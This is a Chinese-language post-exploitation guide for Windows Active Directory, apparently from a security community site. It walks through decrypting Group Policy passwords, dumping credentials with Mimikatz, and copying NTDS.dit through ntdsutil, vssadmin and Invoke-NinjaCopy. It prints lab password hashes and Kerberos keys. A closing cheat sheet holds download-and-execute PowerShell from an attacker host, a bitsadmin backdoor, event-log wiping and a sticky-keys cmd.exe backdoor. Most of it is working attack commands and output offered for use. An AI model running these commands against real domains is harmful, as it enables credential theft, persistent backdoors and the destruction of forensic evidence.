当创建一个新的GPP时，会在SYSVOL中创建一个关联的XML文件以及相关的配置数据，如果提供了密码，那么它是AES-256位加密的，应该足够强。

除了2012年之前，微软在MSDN上发布了AES加密密钥（共享密钥），可以用来解密密码。
由于经过身份验证的用户（任何域用户或受信任域中的用户）具有对SYSVOL的读取权限，因此域中的任何人都可以搜索SYSVOL共享中包含`cpassword`的XML文件，该密码

通过访问这个XML文件，攻击者可以使用AES私钥解密GPP密码。 PowerSploit函数`Get-GPPPassword`对于组策略首选项开发非常有用。
这里的屏幕截图显示了一个类似的PowerShell函数，它可以从SYSVOL中的XML文件中加密GPP密码。

```
PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShell
PS C:\Users\Administrator\Desktop> Get-GPPPassword

msf post(gpp) > show options

Module options (post/windows/gather/credentials/gpp):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ALL      true             no        Enumerate all domains on network.
  DOMAINS  THEGEEKSTUFF     no        Enumerate list of space seperated domains DOMAINS="dom1 dom2".
  SESSION  1                yes       The session to run this module on.
  STORE    true             no        Store the enumerated files in loot.

msf post(gpp) > run
```

```
[*] Checking for group policy history objects...
[-] Error accessing C:\ProgramData\Microsoft\Group Policy\History : stdapi_fs_ls: Operation failed: The system cannot find the
[*] Checking for SYSVOL locally...
[+] SYSVOL Group Policy Files found locally
[*] Enumerating the user supplied Domain(s): THEGEEKSTUFF...
[*] Enumerating DCs for THEGEEKSTUFF on the network...
[-] ERROR_NO_BROWSER_SERVERS_FOUND
[-] No Domain Controllers found for THEGEEKSTUFF
[*] Searching for Group Policy XML Files...
[*] Post module execution completed

metasploit-framework [rapid7-master] ->> ./tools/password/cpassword_decrypt.rb j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
[+] The decrypted AES password is: Local*P4ssword!
```

要么

你也可以用gpp_password_decrypt.py来做。

Dump credentials with Invoke-Mimikatz

Invoke-Mimikatz应该能够通过安装了PowerShell v2或更高版本的Windows 8.1从任何版本的Windows dump 凭据。

```
PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShell
PS C:\Users\Administrator\Desktop> Invoke-Mimikatz
```

or

```
C:\Windows\system32> powershell.exe -exec bypass -windows hidden -c IEX (New-Object Net.WebClient).DownloadString("https://raw
```

使用任务管理器（获取域管理员凭据）dump LSASS内存

一旦LSASS被dump，Mimikatz可以被用来从另一个系统上的LSASS.dmp文件中提取已登录的凭据。 在域控制器上，这几乎都是域管理员的凭据。

```
PS C:\Users\Administrator\Desktop\MimikatzX64> .\mimikatz.exe

  .#####.   mimikatz 2.1 (x64) built on Oct 29 2016 21:27:40
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz # sekurlsa::minidump C:\Users\Administrator\Desktop\lsass.DMP
Switch to MINIDUMP : 'C:\Users\Administrator\Desktop\lsass.DMP'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\Administrator\Desktop\lsass.DMP' file for minidump...

Authentication Id : 0 ; 391874 (00000000:0005fac2)
Session           : Interactive from 1
User Name         : Administrator
Domain            : THEGEEKSTUFF
Logon Server      : SERVER
Logon Time        : 2016/11/5 12:08:54
SID               : S-1-5-21-2783134295-2946968820-3756090084-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : THEGEEKSTUFF
         * NTLM     : fc1fc80e9f128261a6bc463cb31e65b5
         * SHA1     : 9fb867ff5ae033514134f54b5bacfa209d135125
         [00010000] CredentialKeys
         * NTLM     : fc1fc80e9f128261a6bc463cb31e65b5
         * SHA1     : 9fb867ff5ae033514134f54b5bacfa209d135125
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
```

```
        * Username : Administrator
        * Domain   : THEGEEKSTUFF.COM
        * Password : (null)
       ssp :   KO
       credman :

Authentication Id : 0 ; 66164 (00000000:00010274)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-90-1
       msv :
        [00000003] Primary
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * NTLM     : 708faf9c9842a10735ecab33cc64ed37
        * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
       tspkg :
       wdigest :
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * Password : (null)
       kerberos :
        * Username : SERVER$
        * Domain   : thegeekstuff.com
        * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
8a 86 a9 c8 b8 ea c3
       ssp :   KO
       credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : SERVER$
Domain            : THEGEEKSTUFF
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-20
       msv :
        [00000003] Primary
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * NTLM     : 708faf9c9842a10735ecab33cc64ed37
        * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
       tspkg :
       wdigest :
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * Password : (null)
       kerberos :
        * Username : server$
        * Domain   : THEGEEKSTUFF.COM
        * Password : (null)
       ssp :   KO
       credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:54
SID               : S-1-5-19
```

```
       msv :
       tspkg :
       wdigest :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       kerberos :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       ssp :   KO
       credman :

Authentication Id : 0 ; 66429 (00000000:0001037d)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-90-1
       msv :
        [00000003] Primary
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * NTLM     : 708faf9c9842a10735ecab33cc64ed37
        * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
       tspkg :
       wdigest :
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * Password : (null)
       kerberos :
        * Username : SERVER$
        * Domain   : thegeekstuff.com
        * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
8a 86 a9 c8 b8 ea c3
       ssp :   KO
       credman :

Authentication Id : 0 ; 44395 (00000000:0000ad6b)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:52
SID               :
       msv :
        [00000003] Primary
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * NTLM     : 708faf9c9842a10735ecab33cc64ed37
        * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
       tspkg :
       wdigest :
       kerberos :
       ssp :   KO
       credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : SERVER$
Domain            : THEGEEKSTUFF
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:52
```

```
SID               : S-1-5-18
       msv :
       tspkg :
       wdigest :
        * Username : SERVER$
        * Domain   : THEGEEKSTUFF
        * Password : (null)
       kerberos :
        * Username : server$
        * Domain   : THEGEEKSTUFF.COM
        * Password : (null)
       ssp :   KO
       credman :

mimikatz # exit
Bye!
PS C:\Users\Administrator\Desktop\MimikatzX64>
```

使用NTDSUtil(抓取NTDS.dit文件)创建从媒体安装（IFM）:

NTDSUtil是本地处理AD DB的命令实用程序（ntds.dit），并为DCPromo启用IFM集创建。
IFM与DCPromo一起用于■■■■■，因此被升级的服务器不需要通过网络从另一个DC复制域数据。
IFM集是在此实例中在c:\temp中创建的NTDS.dit文件的副本。

这个文件可能会在一个共享上分享新的DC，或者可能在尚未推广的新服务器上找到。 此服务器可能无法正常保护。

```
C:\Users\Administrator>ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
ntdsutil: ac i ntds
■■■■■■■■"ntds"■
ntdsutil: ifm
ifm: create full c:\temp
■■■■■■■...
■■■■■■■■ {03d7e751-8489-4bee-b7c1-fde165f87426}■
■■ {e236f8b9-10e5-4404-ac4d-843f1db29f1e} ■■■ C:\$SNAP_201611051210_VOLUMEC$\ ■■
■■■■■■ {e236f8b9-10e5-4404-ac4d-843f1db29f1e}■
■■■■■■■■■■■...
    ■■■■: C:\$SNAP_201611051210_VOLUMEC$\Windows\NTDS\ntds.dit
    ■■■■■: c:\temp\Active Directory\ntds.dit

                Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ..................................................

■■■■■■■■■■...
■■■■■ c:\temp\registry\SYSTEM
■■■■■ c:\temp\registry\SECURITY
■■ {e236f8b9-10e5-4404-ac4d-843f1db29f1e} ■■■■
■ c:\temp ■■■■■ IFM ■■■
ifm: q
ntdsutil: q
```

从NTDS.dit中提取hash

一旦攻击者拥有NTDS.dit文件的副本（以及某些注册表项来解密数据库文件中的安全元素），则可以提取Active Directory数据库文件中的凭据数据。

从NTDS.dit文件中提取密码哈希的一种方法是Impacket的secretsdump.py（Kali等）。
只需要DC注册表中的ntds.dit文件和System配置文件（这两个文件都具有从ntdsutil设置的从介质安装（IFM））。

```
$ git clone https://github.com/CoreSecurity/impacket/
$ cd impacket/examples/

$ secretsdump.py -system /home/seclab/windows-2012/ntds/registry/SYSTEM -security /home/seclab/windows-2012/ntds/registry/SECU
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[*] Target system bootKey: 0xb6570f7db706f37a5b79e72ab8c44b8a
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37
```

```
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
0000   01 00 00 00 8F 04 A9 BA  67 3B 83 81 09 62 0E 80   ........g;...b..
0010   81 81 DB 99 FF 3E 7A F8  EE 80 BC 7F 8F C8 FA DE   .....>z.........
0020   3D BE 24 6D 30 38 84 48  1A 5F B3 11               =.$m08.H._..
[*] NL$KM
0000   39 7B 96 FE 24 6D B9 58  44 A6 DF 78 77 F9 78 C9   9{..$m.XD..xw.x.
0010   72 F8 57 E6 C9 60 65 07  50 F5 EA 81 D7 5B A1 D2   r.W..`e.P....[..
0020   D3 46 E8 67 3F C1 C8 8C  44 91 EA 62 20 9E 5A 58   .F.g?...D..b .ZX
0030   E4 C1 25 24 4F 01 6F AF  88 04 5F 33 89 FE D5 1E   ..%$O.o..._3....
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 0487dfc92c64213bdf39ca382d7baea8
[*] Reading and decrypting hashes from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc1fc80e9f128261a6bc463cb31e65b5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER$:1003:aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:23ed7e50c091488d46c46ca69b428979:::
wchen:1109:aad3b435b51404eeaad3b435b51404ee:fe72ec788d6739b4ac05033fecae793c:::
jhart:1110:aad3b435b51404eeaad3b435b51404ee:d491885ff154677f71291be4517d7177:::
SERVER2008$:1111:aad3b435b51404eeaad3b435b51404ee:db96a49b7ecf92cfd3a20b0c8048eef1:::
john:1112:aad3b435b51404eeaad3b435b51404ee:6944c3f3a4ad58896b5fdb55b29f4fdf:::
JOHN$:1113:aad3b435b51404eeaad3b435b51404ee:3926a5fc5b0eb8b373ebfc37d2f478d6:::
[*] Kerberos keys from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
SERVER$:aes256-cts-hmac-sha1-96:cc03dbc4f30db35f8f2a3894f3dccea99207f6180db7c9f98a1a363f80986e22
SERVER$:aes128-cts-hmac-sha1-96:a43c9870cf2798fd86eb502391281df9
SERVER$:des-cbc-md5:b9ef3b08b55e8998
krbtgt:aes256-cts-hmac-sha1-96:f5f37669f8fe6b10a3b65dddf09f80f78b1ce1f351e47130adfb70aa81eeff82
krbtgt:aes128-cts-hmac-sha1-96:a3bea9e21a87976f582de5a9a4c6784a
krbtgt:des-cbc-md5:028adaf497028076
wchen:aes256-cts-hmac-sha1-96:c979d56fa938026e30ef8e8959ded691dcdc1abfb62c79e9061e42cb3ea5cd6f
wchen:aes128-cts-hmac-sha1-96:464ee4707eb40a19d833afe1e5be6244
wchen:des-cbc-md5:0be69b2ada3dbcf4
jhart:aes256-cts-hmac-sha1-96:d1bb033c02346050588ac074871f7c13be08952936d0443221de2af820181407
jhart:aes128-cts-hmac-sha1-96:dc6f858f75486dd03f9b88dd3a0cd41f
jhart:des-cbc-md5:895d10bf830d7961
SERVER2008$:aes256-cts-hmac-sha1-96:f88aa76cd58df5804762bcae3607a36566b299394622cd3a04e0f63baa179527
SERVER2008$:aes128-cts-hmac-sha1-96:ff258dfec8bfb3c0683eafb49799b943
SERVER2008$:des-cbc-md5:cb5e5e32dfa475b6
john:aes256-cts-hmac-sha1-96:6fb59e65a4ba99987759e87f4aa2435f155a15233ddc1eb763250d495f94212e
john:aes128-cts-hmac-sha1-96:7e57a1d9f658456ec4ce24282d80a835
john:des-cbc-md5:ea8aadecea46e6c4
JOHN$:aes256-cts-hmac-sha1-96:05edf93acc4dd9c08af27f1c3ee8674185087e5321b57f290ac764c1bfdc025c
JOHN$:aes128-cts-hmac-sha1-96:529d1632aa0283f7ba2d1c4ca216a22f
JOHN$:des-cbc-md5:e029798f8f92e0da
[*] Cleaning up...
```

参考

1. https://www.youtube.com/watch?v=0WyBxwJD_c0
2. http://www.thegeekstuff.com/2014/11/install-active-directory
3. How Attackers Dump Active Directory Database Credentials
4. How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
5. Attack Methods for Gaining Domain Admin Rights in Active Directory
6. Unofficial Guide to Mimikatz & Command Reference

how-to-use-vssadmin

Vssadmin

适用于：Windows Server 2003，Windows Server 2008，Windows Server 2003 R2，Windows Server 2008 R2，Windows Server 2012，Windows 8

Command	Description
Vssadmin add shadowstorage	添加卷影副本存储关联.
Vssadmin create shadow	创建一个新卷卷影副本.
Vssadmin delete shadows	删除卷影副本.
Vssadmin delete shadowstorage	删除卷影副本存储关联.
Vssadmin list providers	列出注册卷影复制提供程序.

Vssadmin list shadows	列出现有的卷影副本.
Vssadmin list shadowstorage	列出系统上的所有卷影副本存储关联.
Vssadmin list volumes	列出符合卷影副本的卷.
Vssadmin list writers	列出系统上所有订阅的卷影复制者.
Vssadmin resize shadowstorage	调整卷影副本存储关联的最大大小.

拥有管理员权限

```
PS C:\Users\Administrator\Desktop>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Error: You don't have the correct permissions to run this command.  Please run t
his utility from a command
window that has elevated administrator privileges.
```

List Shadows

```
C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

No items found that satisfy the query.
```

Create Shadow

```
C:\Windows\system32>vssadmin Create Shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Successfully created shadow copy for 'C:\'
   Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
   Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
```

Copy Files

```
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C
:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\t
emp\

C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Contents of shadow copy set ID: {7b37f005-c738-450c-83cd-ad2f237f2b28}
  Contained 1 shadow copies at creation time: 11/5/2016 1:19:40 AM
     Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
        Original Volume: (C:)\\?\Volume{be4f748a-a19f-11e6-a5bb-806e6f6e6963}\
        Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
        Originating Machine: SERVER2008.thegeekstuff.com
        Service Machine: SERVER2008.thegeekstuff.com
        Provider: 'Microsoft Software Shadow Copy provider 1.0'
        Type: ClientAccessible
        Attributes: Persistent, Client-accessible, No auto release, No writers,
Differential
```

Delete Shadows

```
C:\Windows\system32>vssadmin Delete Shadows /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Do you really want to delete 1 shadow copies (Y/N): [N]? Y

Successfully deleted 1 shadow copies.
```

Invoke-NinjaCopy

```
PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "
PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\N
```

参考

1. https://technet.microsoft.com/en-us/library/cc754968(v=ws.11).aspx
2. Tutorial for NTDS goodness (VSSADMIN, WMIS, NTDS.dit, SYSTEM)/)
3. How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
4. https://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/
5. https://github.com/clymb3r/PowerShell/blob/master/Invoke-NinjaCopy/Invoke-NinjaCopy.ps1
6. http://blog.csdn.net/zjull/article/details/11819923

PowerSploit_Invoke-Mimikatz_in_cmd

```
C:\Windows\system32>powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Powe

 .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Dec 14 2015 18:03:07)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */


mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 446842 (00000000:0006d17a)
Session           : Interactive from 1
User Name         : test
Domain            : lab
Logon Server      : LAB
Logon Time        : 10/14/2016 6:38:14 AM
SID               : S-1-5-21-2035202921-1308571849-2301429434-1000
       msv :
        [00000003] Primary
        * Username : test
        * Domain   : lab
        * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        [00010000] CredentialKeys
        * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
       tspkg :
        * Username : test
        * Domain   : lab
        * Password : password
       wdigest :
        * Username : test
        * Domain   : lab
        * Password : password
       kerberos :
        * Username : test
        * Domain   : lab
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 446819 (00000000:0006d163)
Session           : Interactive from 1
User Name         : test
Domain            : lab
Logon Server      : LAB
Logon Time        : 10/14/2016 6:38:14 AM
SID               : S-1-5-21-2035202921-1308571849-2301429434-1000
       msv :
        [00010000] CredentialKeys
        * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        [00000003] Primary
```

```
        * Username : test
        * Domain   : lab
        * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
        * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
       tspkg :
        * Username : test
        * Domain   : lab
        * Password : password
       wdigest :
        * Username : test
        * Domain   : lab
        * Password : password
       kerberos :
        * Username : test
        * Domain   : lab
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:59 AM
SID               : S-1-5-19
       msv :
       tspkg :
       wdigest :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       kerberos :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : LAB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:59 AM
SID               : S-1-5-20
       msv :
       tspkg :
       wdigest :
        * Username : LAB$
        * Domain   : WORKGROUP
        * Password : (null)
       kerberos :
        * Username : lab$
        * Domain   : WORKGROUP
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 54335 (00000000:0000d43f)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:58 AM
SID               :
       msv :
       tspkg :
       wdigest :
```

```
       kerberos :
       ssp :
       credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : LAB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:58 AM
SID               : S-1-5-18
       msv :
       tspkg :
       wdigest :
        * Username : LAB$
        * Domain   : WORKGROUP
        * Password : (null)
       kerberos :
        * Username : lab$
        * Domain   : WORKGROUP
        * Password : (null)
       ssp :
       credman :

mimikatz(powershell) # exit
Bye!
```

Windows_AD_commands

```
net view
net view /domain
net view /domain:DOMAINNAME
net view \\domain-control
net user
net user /domain
net localgroup administrators
net localgroup administrators /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
net group "Group Policy Creator Owners" /domain
net time /domain
net config
net session
net use \\ip\ipc$ password /user:username
net share
net accounts /domain
wmic useraccount
wmic useraccount LIST FULL
wmic useraccount LIST BRIEF
wmic useraccount LIST STATUS
wmic startup
wmic share
wmic service
wmic process where name="[PROCESS]" call terminate
wmic process where ProcessId="[PID]" call terminate
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1
wmic qfe get hotfixid
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
wmic bios
wmic bios LIST FULL

netsh firewall show conf
netsh firewall set service type = remotedesktop mode = enable
netsh firewall add allowedprogram C:\nltest.exe mltest enable
netsh firewall add portopening tcp 2482 lt enable all
netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80
netsh wlan show profiles
netsh wlan export profile folder=. key=clear
```

```
netsh wlan set hostednetwork mode=[allow\|disallow]
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary
netsh wlan [start|stop] hostednetwork

netstat -ano
netstat -ano -p tcp
netstat -ano -p udp

tasklist /V
tasklist /M
tasklist /FI "IMAGENAME eq cmd.exe"
tasklist /FI "PID eq 4060"

ipconfig /all
ipconfig /displaydns

powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[fi
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\t

bitsadmin /create backdoor
bitsadmin /addfile backdoor http://192.168.20.10/theshell.exe C:\windows\temp\theshell.exe
bitsadmin /SETMINRETRYDELAY 88000
bitsadmin /SETNOTIFYCMDLINE backdoor C:\windows\temp\theshell.exe NULL
bitsadmin /getnotifycmdline backdoor
bitsadmin /listfiles backdoor
bitsadmin /RESUME backdoor     # Run the backdoor

for /f %a in ('wevtutil el') do @wevtutil cl "%a"
del %WINDIR%\*.log /a /s /q /f
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys
route print
arp -a
qwinsta
qprocess
nbtstat -A ip
fsutil fsinfo drivers
wmic volume LIST BRIEF
systeminfo
at 13:20 /interactive cmd
type C:\Windows\system32\demo.txt
gpresult /Z
dir /b /s | find /I "password"
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f
Replacing file as: sethc.exe
@echo off
c: > nul\cd\ > nul\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit
```

参考

http://pwnwiki.io/

搜集的关于后渗透的资料

后渗透阶段常用技术总结 wooyun whitehatfest 2016
Meterpreter使用总结（1）
Meterpreter使用总结（2）之后渗透攻击模块
Powershell攻击指南黑客后渗透之道系列
内网渗透测试定位技术总结| MottoIN

上一篇：Pentest Wiki Part... 下一篇：Misc 总结 ----隐写术之图...

1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板